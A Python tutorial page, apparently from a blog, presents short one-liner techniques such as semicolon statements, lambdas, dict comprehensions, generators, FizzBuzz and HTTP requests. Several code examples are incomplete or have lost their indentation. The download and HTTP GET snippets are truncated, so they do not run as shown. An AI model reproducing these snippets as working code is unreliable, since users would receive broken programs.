Do you want to learn more about each of the methods? Check out my related tutorial:

Related tutorial: How to Sort and Return a Python List in One Line?

## Python One Line Semicolon

Here’s how one may use the semicolon:

`x = 'hi'; y = 'young'; z = 'friend'; print(x, y, z);`

If you run this Python one-liner with semicolons, you’ll get the following output:

`hi young friend`

On the first view, it doesn’t even look like Python code! C++ has semicolons. Java has semicolons. But Python is supposed to be a semicolon-free language, isn’t it?

The meaning of the semicolon in programming languages such as Java and C++ is to terminate the current statement. In those languages, you’ll use it after every single line. Without it, the interpreter believes that the code has not terminated yet and it starts looking for more. Any Java or C++ coder knows situations where an error occurred because they forgot to use a semicolon in their code.

In Python, however, semicolons have a slightly different meaning. They allow you to create so-called compound statements. The `if` construct is a compound statement. The `for` loop is a compound statement. And, a number of semicolon-separated Python statements are compound statements.

## Python One Line Function Definition

A lambda function allows you to define a function in a single line. It starts with the keyword `lambda`, followed by a comma-separated list of zero or more arguments, followed by the colon and the return expression. For example, `lambda x, y: x+y` calculates the sum of the two argument values `x+y` in one line of Python code.

Problem: How to define a function in a single line of Python code?

Example: Say, you’ve got the following function in three lines. How to compress them into a single line of Python code?

```def say_hi(*friends):
for friend in friends:
print('hi', friend)

friends = ['Alice', 'Bob', 'Ann']
say_hi(*friends)
```

The code defines a function `say_hi` that takes an iterable as input—the names of your friends—and prints `'hi x'` for each element `x` in your iterable.

The output is:

```'''
hi Alice
hi Bob
hi Ann
'''```

Let’s dive into the different methods to accomplish this! First, here’s a quick overview to test the waters:

```# Original code:
def say_hi(*friends):
for friend in friends:
print('hi', friend)

friends = ['Alice', 'Bob', 'Ann']
say_hi(*friends)

# Method 1: Lambda Function
hi = lambda lst: [print('hi', x) for x in lst]
hi(friends)

# Method 2: Function Definition
def hi(lst): [print('hi', x) for x in lst]
hi(friends)

# Method 3: exec()
exec("def hi(*lst):\n    for x in lst:\n        print('hi', x)\nhi(*friends)")
```

In the following article, you’ll learn about each method in greater detail!

Related Article: Python One Line Function Definition

## Python One Line Dictionary

Challenge: Say, you want to have the list indices as keys and the list elements as values.

```# Given a list:
a = ['Alice', 'Liz', 'Bob']

# One-Line Statement Creating a Dict:
d = dict(enumerate(a))

print(d)
# {0: 'Alice', 1: 'Liz', 2: 'Bob'}```

The one-liner `dict(enumerate(a))` first creates an iterable of `(index, element)` tuples from the list `a` using the `enumerate` function. The `dict()` constructor than transforms this iterable of tuples to `(key, value)` mappings. The `index` tuple value becomes the new `key`. The `element` tuple value becomes the new `value`.

Learn more about different one-liners in the context of dictionaries in this blog article:

Related Article: Python One Line Dictionary

## Python One Line Dict Comprehension

Dictionary Comprehension is a concise and memory-efficient way to create and initialize dictionaries in one line of Python code. It consists of two parts: expression and context. The expression defines how to map keys to values. The context loops over an iterable using a single-line for loop and defines which (key,value) pairs to include in the new dictionary.

Related Article: Python Dictionary Comprehension

## Python One Line Docstring

Per convention, you use one-line docstrings if the function, module, class, or method is obvious enough to warrant a short explanation—but nothing more. You can enclose the one-liner docstring within single quotes, double quotes, or even triple quotes. However, enclosing the one-liner docstring in a triple quote is the most Pythonic way.

For example, the following function can be easily understood. Therefore, a one-liner docstring is sufficient to describe its behavior:

```def add(x, y):
'''Add both arguments and returns their sum.'''
return x + y

# Add both arguments and returns their sum.```

Related Article: Python One Line Docstring

Summary: Download a file over the web by using the following steps in Python.

• Import libary `requests`
• Define URL string
• Get file data from URL
• Store file data in file object on your computer

Here’s how you can do this to download the Facebook Favicon (source):

```# 1. Import libary
import requests

# 2. Define URL string

# 3. Get file data
data = requests.get(url, allow_redirects=True)

# 4. Store file data in file object

At the beginning of our struggle with web scraping, you may have trouble downloading files using Python. However, the following article provides you with several methods that you can use to download, for example, the cover of a book from the page.

Related Article: How to Download a File Over HTTPS in Python?

## Python One Line For Loop Append

However, a much better option to append all elements in a given iterable to a given list is to use the `list.extend()` method:

```# Method 3
friends = ['Ann', 'Alice']
new_friends = ['Bob', 'Liz']

# One-Liner:
friends.extend(new_friends)

# Results
print(friends)
# ['Ann', 'Alice', 'Bob', 'Liz']```

The one-liner is much shorter and even faster. You can find a detailed speed comparison here.

Related Article: Python One Line For Loop Append

## Python One Line Generator

A generator function is a Pythonic way to create an iterable without explicitly storing it in memory. This reduces memory usage of your code without incurring any additional costs.

Problem: Can we write a one-line generator?

Here’s the code that accomplishes this:

`print(sum(random.random() for i in range(1000)))`

The code consists of the following parts:

• The `print()` function prints the result of the expression to the shell.
• The `sum()` function sums over all values in the following iterable.
• The generator expression `random.random() for i in range(1000)` generates 1000 random numbers and feeds them into the outer sum() function without creating all of them at once.

This way, we still don’t store the whole list of 1000 numbers in memory but create them dynamically.

Related Article: Python One Line Generator

## Python One-Line Password Generator

The following code creates a random password for you—using only a single line of Python code!

`from random import choice; print(''.join([choice('abcdefghijklmnopqrstuvwxyz0123456789%^*(-_=+)') for i in range(10)]))`

Related Article: Python One-Line Password Generator

## Python One Line HTTP Get

This tutorial shows you how to perform simple HTTP get and post requests to an existing webserver!

Problem: Given the URL location of a webserver serving websites via HTTP. How to access the webserver’s response in a single line of Python code?

Example: Say, you want to accomplish the following:

```url = 'https://google.com'
# ... Magic One-Liner Here...
print(result)
# ... Google HTML file:
'''
'''```

Here’s how you can do this:

```# DOWNLOAD THE GOOGLE.COM LANDING PAGE:

Let’s learn about the three most important methods to access a website in a single line of Python code—and how they work!

## Python Global in One Line

To update a global variable in one line of Python, retrieve the global variable dictionary with the `globals()` function, and access the variable by passing the variable name as a string key such as `globals()['variable']`. Then overwrite the global variable using the equal symbol, for example in `globals()['variable'] = 42` to overwrite the variable with value `42`.

```a = 42
def update_3():
globals()['a'] = 21

update_3()
print(a)
# 21```

The code first accesses all global variables using the `globals()` function that returns a dictionary mapping names to objects. You access the value associated to the key `'a'`. The return value is the object to which global variable `a` points.

Related article: Python One Line Global

## Python One Line FizzBuzz

The FizzBuzz problem is a common exercise posed in code interviews to test your proficiency in writing simple Python code.

Problem: Print all numbers from 1-100 to the shell with three exceptions:

• For each number divisible by three you print `"Fizz"`,
• For each number divisible by five you print `"Buzz"`, and
• For each number divisible by three and five you print `"FizzBuzz"`.

Example: The first 15 numbers of the FizzBuzz sequence are the following.

```1
2
Fizz
4
Buzz
Fizz
7
8
Fizz
Buzz
11
Fizz
13
14
FizzBuzz
...```

How to write a Python one-liner that solves this problem?

Here’s an overview:

```# FINXTER FIZZBUZZ PYTHON ONELINERS
n = 20

# FizzBuzz Method 1
print('\n'.join('Fizz' * (i%3==0) + 'Buzz' * (i%5==0) or str(i) for i in range(1, n)))

# FizzBuzz Method 2
for i in range(1, n): print('FizzBuzz'[i*i%3*4:8--i**4%5] or i)
```

Let’s dive into those one-liners to gain a deeper understanding of the matter!

Related Tutorial: Python One Line FizzBuzz

## Python One Line Hello World

Step 1: Open a code shell.

Step 2: Type the print function in your browser shell with opening and closing parentheses that are initially empty:

`print()`

The `print()` function takes a string and prints it to your shell. This way, you can generate outputs in your program. Think about it: a Python program is only a means to an end. It transform an input to an output. One way of creating an output is to print program values to the shell. In our hello world one-liner, the output is the textual data (=string) `'hello world'`.

Step 3: Pass the `'hello world'` string into the `print()` function between the parentheses.

`print('hello world')`

Congratulations, your first hello world one-liner is ready! Now, there’s only one thing left:

Step 4: Run the hello world one-liner program by hitting the “Run” symbol ▶.

Can you see the output generated by your program? When running your program in the interactive shell, the result should be the following output:

`hello world`

## Python One Line Comment

One-line comments begin with the hash (`#`) character and reach to the end of the line. The newline character terminates the meaning of the comment—which is for the Python interpreter to ignore the commented text. A special case are inline comments that are used after a regular Python statement but before the newline character. The PEP 8 standard recommends to use them sparingly.

```# This is a one-line comment

print('hi') # This is an inline comment```

Related Article: Python Comments — 2-Minute Guide with Exercise

## Python One Line Class

Problem: How to create a Python class in a single line of code?

Example: Say, you want to create a class `Car` with two attributes `speed` and `color`. Here would be the lengthy definition:

```class Car:

def __init__(self, speed, color):
self.speed = speed
self.color = color

porsche = Car(200, 'red')
tesla = Car(220, 'silver')

print(porsche.color)
# red

print(tesla.color)
# silver```

How do you do this in a single line of code?

Further Reading: Python One Line Class

## Python Define Multiple Variables in One Line

In this article, you’ll learn about two variants of this problem.

• Assign multiple values to multiple variables
• Assign the same value to multiple variables

Let’s have a quick overview of both:

```# MULTIPLE ASSIGNMENT
a, b = 1, 2
print(a)
print(b)

# MULTIPLE SAME VALUE
a = b = 1
print(a)
print(b)```

Related Article: Python Define Multiple Variables in One Line

## Python One Line If (Not) None

Problem: How to assign a value to a variable if it is not equal to `None`—using only a single line of Python code?

Solution: A beautiful extension of Python 3.8 is the Walrus operator. The Walrus operator `:=` is an assignment operator with return value. Thus, it allows you to check a condition and assign a value at the same time:

```# Method 2
if tmp := get_value(): x = tmp```

This is a very clean, readable, and Pythonic way. Also, you don’t have the redundant identity assignment in case the if condition is not fulfilled.

Related Articles:

## Python One Line Map

Consider the following `map()` one-liner that changes each element `x` of a list to the value of `x+1`:

```print(list(map(lambda x: x + 1, [1, 2, 3])))
# [2, 3, 4]```

You create a list with three elements. Then, you create an anonymous function that takes one argument (an integer in our case) and increments it by one. The `map` function applies the function to each element in the list and returns a new map object. This is converted back to a list using the `list(...)` function.

Related Article: Python One Line Map

## Python One-Liners Book: Master the Single Line First!

Python programmers will improve their computer science skills with these useful one-liners.

Python One-Liners will teach you how to read and write “one-liners”: concise statements of useful functionality packed into a single line of code. You’ll learn how to systematically unpack and understand any line of Python code, and write eloquent, powerfully compressed Python like an expert.

The book’s five chapters cover (1) tips and tricks, (2) regular expressions, (3) machine learning, (4) core data science topics, and (5) useful algorithms.

Detailed explanations of one-liners introduce key computer science concepts and boost your coding and analytical skills. You’ll learn about advanced Python features such as list comprehension, slicing, lambda functions, regular expressions, map and reduce functions, and slice assignments.

You’ll also learn how to:

• Leverage data structures to solve real-world problems, like using Boolean indexing to find cities with above-average pollution
• Use NumPy basics such as array, shape, axis, type, broadcasting, advanced indexing, slicing, sorting, searching, aggregating, and statistics
• Calculate basic statistics of multidimensional data arrays and the K-Means algorithms for unsupervised learning
• Create more advanced regular expressions using grouping and named groups, negative lookaheads, escaped characters, whitespaces, character sets (and negative characters sets), and greedy/nongreedy operators
• Understand a wide range of computer science topics, including anagrams, palindromes, supersets, permutations, factorials, prime numbers, Fibonacci numbers, obfuscation, searching, and algorithmic sorting

By the end of the book, you’ll know how to write Python at its most refined, and create concise, beautiful pieces of “Python art” in merely a single line.

Get your Python One-Liners on Amazon!!

## Programming Humor

💡 Programming is 10% science, 20% ingenuity, and 70% getting the ingenuity to work with the science.

~~~

• Question: Why do Java programmers wear glasses?
• Answer: Because they cannot C# …!

Feel free to check out our blog article with more coding jokes. 😉